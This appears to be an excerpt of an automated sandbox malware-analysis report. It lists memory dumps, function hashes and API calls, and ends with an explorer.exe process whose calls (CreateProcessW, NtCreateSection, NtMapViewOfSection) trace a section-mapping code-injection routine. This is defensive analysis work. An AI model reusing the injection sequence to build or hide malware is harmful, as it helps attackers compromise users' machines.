Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: FreeLocal$CloseHandle
String ID:
API String ID: 2045616094-0
Opcode ID: cc85010a5e75028783c9b9846030bb2c83eace95682c2cdec2e07871ee80e493
Instruction ID: 0cb72a3d679a44e4fc260aad1f6689bbafdb38e60a11f79611fedefdbff512b0
Opcode Fuzzy Hash: cc85010a5e75028783c9b9846030bb2c83eace95682c2cdec2e07871ee80e493
Instruction Fuzzy Hash: BA01B675A10208DFCB25DFE4D98899EBBB9AF49311F504698F90A97710CA359EC0CF50

Function 0031B66D Relevance: 5.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 0031B928
CloseHandle.KERNEL32(00000000), ref: 0031B93D
CloseHandle.KERNEL32(00000000), ref: 0031B95D
CloseHandle.KERNEL32(00000000), ref: 0031B97D

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseHandle$FreeLocal
String ID:
API String ID: 2513001865-0
Opcode ID: b55f5d0e2518992cc42cb05a3185a6f06cdf18857425b133ef561ce6e6c688fe
Instruction ID: 161d038ea45b5a40a00d60c81492219e6b57a7a3629cd721a36f3bddce13578a
Opcode Fuzzy Hash: b55f5d0e2518992cc42cb05a3185a6f06cdf18857425b133ef561ce6e6c688fe
Instruction Fuzzy Hash: 89F0F479500200CBE36BCF64EE8C7AA77BDBB4C305F048119E619562B0C77858C9DF12

Function 0031B6B7 Relevance: 5.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 0031B928
CloseHandle.KERNEL32(00000000), ref: 0031B93D
CloseHandle.KERNEL32(00000000), ref: 0031B95D
CloseHandle.KERNEL32(00000000), ref: 0031B97D

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseHandle$FreeLocal
String ID:
API String ID: 2513001865-0
Opcode ID: fc22920881615128450a4ee8d98c3438269342eae8da110d2d30ba1b4ceca74b
Instruction ID: 161d038ea45b5a40a00d60c81492219e6b57a7a3629cd721a36f3bddce13578a
Opcode Fuzzy Hash: fc22920881615128450a4ee8d98c3438269342eae8da110d2d30ba1b4ceca74b
Instruction Fuzzy Hash: 89F0F479500200CBE36BCF64EE8C7AA77BDBB4C305F048119E619562B0C77858C9DF12

Function 0031B691 Relevance: 5.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 0031B928
CloseHandle.KERNEL32(00000000), ref: 0031B93D
CloseHandle.KERNEL32(00000000), ref: 0031B95D
CloseHandle.KERNEL32(00000000), ref: 0031B97D

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseHandle$FreeLocal
String ID:
API String ID: 2513001865-0
Opcode ID: 5759ad1838d668018faa53f12a62e60ad99a7daa101e4cd094981103612abe8e
Instruction ID: 161d038ea45b5a40a00d60c81492219e6b57a7a3629cd721a36f3bddce13578a
Opcode Fuzzy Hash: 5759ad1838d668018faa53f12a62e60ad99a7daa101e4cd094981103612abe8e
Instruction Fuzzy Hash: 89F0F479500200CBE36BCF64EE8C7AA77BDBB4C305F048119E619562B0C77858C9DF12

Function 0031A0A4 Relevance: 5.0, APIs: 4, Instructions: 27COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 0031A140
LocalFree.KERNEL32(00000000), ref: 0031A14A
CloseHandle.KERNEL32(00000000), ref: 0031A156
LocalFree.KERNEL32(00000000), ref: 0031A160

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: FreeLocal$CloseHandle
String ID:
API String ID: 2045616094-0
Opcode ID: 628421b90830164cb4c2f28afad2cb0747298d308d1458e63c7488a3f113ad46
Instruction ID: 2c168e1d38495446e8f8a367176770ab171cc92109c14e0c03fba484d34f9d1b
Opcode Fuzzy Hash: 628421b90830164cb4c2f28afad2cb0747298d308d1458e63c7488a3f113ad46
Instruction Fuzzy Hash: 30F0B7B9A10208DFCB25DFF4DD8899EBB7CAF88311F404658B90A97314CA349980CF20

Function 00305169 Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 003056DD
LocalFree.KERNEL32(00000000), ref: 003056F2
CloseHandle.KERNEL32(00000000), ref: 00305702
CloseHandle.KERNEL32(00000000), ref: 00305712

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: 5a9da13ed04661a120f2f202513f8fc72b408daea791d3ea414f668e6f6603bd
Instruction ID: 55cd445d3a6a616cc6212dbd48454d31576dcd12746d2687e904695055bfc648
Opcode Fuzzy Hash: 5a9da13ed04661a120f2f202513f8fc72b408daea791d3ea414f668e6f6603bd
Instruction Fuzzy Hash: 25F01235522504DBC737CB58EC5CB6A7BBDBB48301F44652CE105965E0C77989C0DF50

Function 003053E7 Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 003056DD
LocalFree.KERNEL32(00000000), ref: 003056F2
CloseHandle.KERNEL32(00000000), ref: 00305702
CloseHandle.KERNEL32(00000000), ref: 00305712

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: 9c963797796627fbeb9d2c2913dcb7a97871e6763f8215083c46f0b4621c0e78
Instruction ID: 55cd445d3a6a616cc6212dbd48454d31576dcd12746d2687e904695055bfc648
Opcode Fuzzy Hash: 9c963797796627fbeb9d2c2913dcb7a97871e6763f8215083c46f0b4621c0e78
Instruction Fuzzy Hash: 25F01235522504DBC737CB58EC5CB6A7BBDBB48301F44652CE105965E0C77989C0DF50

Function 003053CA Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 003056DD
LocalFree.KERNEL32(00000000), ref: 003056F2
CloseHandle.KERNEL32(00000000), ref: 00305702
CloseHandle.KERNEL32(00000000), ref: 00305712

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: 82885b3f2d2c0c26abc7d4b11b0b3c7dad406af6f34f46c70679e873b0e38f35
Instruction ID: 55cd445d3a6a616cc6212dbd48454d31576dcd12746d2687e904695055bfc648
Opcode Fuzzy Hash: 82885b3f2d2c0c26abc7d4b11b0b3c7dad406af6f34f46c70679e873b0e38f35
Instruction Fuzzy Hash: 25F01235522504DBC737CB58EC5CB6A7BBDBB48301F44652CE105965E0C77989C0DF50

Function 0030549F Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 003056DD
LocalFree.KERNEL32(00000000), ref: 003056F2
CloseHandle.KERNEL32(00000000), ref: 00305702
CloseHandle.KERNEL32(00000000), ref: 00305712

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: f9b1612e69f87eb3b32eea29af2b905fc80ba58d0fd43d81eb82a54c757eaeae
Instruction ID: 55cd445d3a6a616cc6212dbd48454d31576dcd12746d2687e904695055bfc648
Opcode Fuzzy Hash: f9b1612e69f87eb3b32eea29af2b905fc80ba58d0fd43d81eb82a54c757eaeae
Instruction Fuzzy Hash: 25F01235522504DBC737CB58EC5CB6A7BBDBB48301F44652CE105965E0C77989C0DF50

Function 00305544 Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 003056DD
LocalFree.KERNEL32(00000000), ref: 003056F2
CloseHandle.KERNEL32(00000000), ref: 00305702
CloseHandle.KERNEL32(00000000), ref: 00305712

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: 802dbac17767bd83de1d760cde2a07caffcf15c4a2ed60162f51b1aab33f3f2c
Instruction ID: 55cd445d3a6a616cc6212dbd48454d31576dcd12746d2687e904695055bfc648
Opcode Fuzzy Hash: 802dbac17767bd83de1d760cde2a07caffcf15c4a2ed60162f51b1aab33f3f2c
Instruction Fuzzy Hash: 25F01235522504DBC737CB58EC5CB6A7BBDBB48301F44652CE105965E0C77989C0DF50

Function 003055C5 Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 003056DD
LocalFree.KERNEL32(00000000), ref: 003056F2
CloseHandle.KERNEL32(00000000), ref: 00305702
CloseHandle.KERNEL32(00000000), ref: 00305712

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: 0dc373947f521b837ebf4bc373a9813f3182b6fa622ddd006a9d00c22c666e39
Instruction ID: 55cd445d3a6a616cc6212dbd48454d31576dcd12746d2687e904695055bfc648
Opcode Fuzzy Hash: 0dc373947f521b837ebf4bc373a9813f3182b6fa622ddd006a9d00c22c666e39
Instruction Fuzzy Hash: 25F01235522504DBC737CB58EC5CB6A7BBDBB48301F44652CE105965E0C77989C0DF50

Function 00305630 Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 003056DD
LocalFree.KERNEL32(00000000), ref: 003056F2
CloseHandle.KERNEL32(00000000), ref: 00305702
CloseHandle.KERNEL32(00000000), ref: 00305712

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: 6f155199e27667ea6ce5ce229ebafcc599eb721eebecffb679dca679329860cf
Instruction ID: 55cd445d3a6a616cc6212dbd48454d31576dcd12746d2687e904695055bfc648
Opcode Fuzzy Hash: 6f155199e27667ea6ce5ce229ebafcc599eb721eebecffb679dca679329860cf
Instruction Fuzzy Hash: 25F01235522504DBC737CB58EC5CB6A7BBDBB48301F44652CE105965E0C77989C0DF50

Function 00305611 Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 003056DD
LocalFree.KERNEL32(00000000), ref: 003056F2
CloseHandle.KERNEL32(00000000), ref: 00305702
CloseHandle.KERNEL32(00000000), ref: 00305712

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: e52f097e9c6c91e5c57b49be0e2d0222302ba24d8b267b1b55611f9290324b7e
Instruction ID: 55cd445d3a6a616cc6212dbd48454d31576dcd12746d2687e904695055bfc648
Opcode Fuzzy Hash: e52f097e9c6c91e5c57b49be0e2d0222302ba24d8b267b1b55611f9290324b7e
Instruction Fuzzy Hash: 25F01235522504DBC737CB58EC5CB6A7BBDBB48301F44652CE105965E0C77989C0DF50

Function 00305673 Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 003056DD
LocalFree.KERNEL32(00000000), ref: 003056F2
CloseHandle.KERNEL32(00000000), ref: 00305702
CloseHandle.KERNEL32(00000000), ref: 00305712

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: 1198e461341a6d004b3772bdb9dfda75934e4557e98349a40252631d07f6e1b5
Instruction ID: 55cd445d3a6a616cc6212dbd48454d31576dcd12746d2687e904695055bfc648
Opcode Fuzzy Hash: 1198e461341a6d004b3772bdb9dfda75934e4557e98349a40252631d07f6e1b5
Instruction Fuzzy Hash: 25F01235522504DBC737CB58EC5CB6A7BBDBB48301F44652CE105965E0C77989C0DF50

Function 0030564C Relevance: 5.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

LocalFree.KERNEL32(00000000), ref: 003056DD
LocalFree.KERNEL32(00000000), ref: 003056F2
CloseHandle.KERNEL32(00000000), ref: 00305702
CloseHandle.KERNEL32(00000000), ref: 00305712

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleLocal
String ID:
API String ID: 836400252-0
Opcode ID: 7903b689b989dfe1fd6969a43f921954cf9d137cd31bb84e0df7044e1fcc20c1
Instruction ID: 55cd445d3a6a616cc6212dbd48454d31576dcd12746d2687e904695055bfc648
Opcode Fuzzy Hash: 7903b689b989dfe1fd6969a43f921954cf9d137cd31bb84e0df7044e1fcc20c1
Instruction Fuzzy Hash: 25F01235522504DBC737CB58EC5CB6A7BBDBB48301F44652CE105965E0C77989C0DF50

Analysis Process: explorer.exePID: 7784, Parent PID: 7724COMMON

Execution Graph

Execution Coverage:	11.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	1841
Total number of Limit Nodes:	60

Executed Functions

Function 00E10740 Relevance: 145.7, APIs: 60, Strings: 23, Instructions: 432
nativestringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32 ref: 00E10814
GetModuleHandleW.KERNEL32 ref: 00E10830
GetProcAddress.KERNEL32 ref: 00E1084D
GetProcAddress.KERNEL32 ref: 00E1086A
GetProcAddress.KERNEL32 ref: 00E10887
GetProcAddress.KERNEL32 ref: 00E108A4
GetProcAddress.KERNEL32 ref: 00E108C1
GetCurrentProcess.KERNEL32 ref: 00E108CF
NtCreateSection.NTDLL ref: 00E109B7
GetCurrentProcess.KERNEL32 ref: 00E109EA
NtMapViewOfSection.NTDLL ref: 00E10A3D
NtMapViewOfSection.NTDLL ref: 00E10AB3
NtCreateSection.NTDLL ref: 00E10B32
GetCurrentProcess.KERNEL32 ref: 00E10B68
NtMapViewOfSection.NTDLL ref: 00E10BBB
NtMapViewOfSection.NTDLL ref: 00E10C31
LoadLibraryW.KERNEL32 ref: 00E10C81
GetProcAddress.KERNEL32 ref: 00E10C9E
GetProcAddress.KERNEL32 ref: 00E10CBE
lstrcpyW.KERNEL32 ref: 00E10CE6
lstrcpyW.KERNEL32 ref: 00E10D04
lstrcpyA.KERNEL32 ref: 00E10D22
lstrcpyA.KERNEL32 ref: 00E10D40
lstrcpyA.KERNEL32 ref: 00E10D5E
lstrcpyA.KERNEL32 ref: 00E10D7C
lstrcpyA.KERNEL32 ref: 00E10D9A
lstrcpyA.KERNEL32 ref: 00E10DB8
lstrcpyA.KERNEL32 ref: 00E10DD6
lstrcpyA.KERNEL32 ref: 00E10DF4
lstrcpyA.KERNEL32 ref: 00E10E12
NtCreateSection.NTDLL ref: 00E10E76
GetCurrentProcess.KERNEL32 ref: 00E10EAC
NtMapViewOfSection.NTDLL ref: 00E10EFF
NtMapViewOfSection.NTDLL ref: 00E10F75
CreateEventW.KERNEL32 ref: 00E10FF9
